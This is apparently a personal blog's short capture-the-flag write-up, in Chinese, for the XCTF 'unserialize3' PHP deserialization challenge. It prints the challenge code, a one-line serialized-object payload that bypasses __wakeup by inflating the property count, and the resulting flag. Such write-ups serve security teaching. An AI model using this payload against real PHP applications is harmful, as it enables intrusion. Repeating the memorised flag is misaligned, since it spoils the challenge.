刘功瑞的博客

有一天你突然惊醒,发现这一切,都只不过是一场梦。

攻防世界 XCTF WEB 高手区 unserialize3 WriteUp

题目:

<?php
class xctf
{
    public $flag = '111';

    public function __wakeup()
    {
        exit('bad requests');
    }
}
?code=

解题:

php反序列化漏洞,code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

cyberpeace{68ef6e51e969e9a1b9e77db220b34731}

发表评论:

Powered By Z-BlogPHP 1.5.2 Zero

Copyright www.liugongrui.com.All Rights Reserved.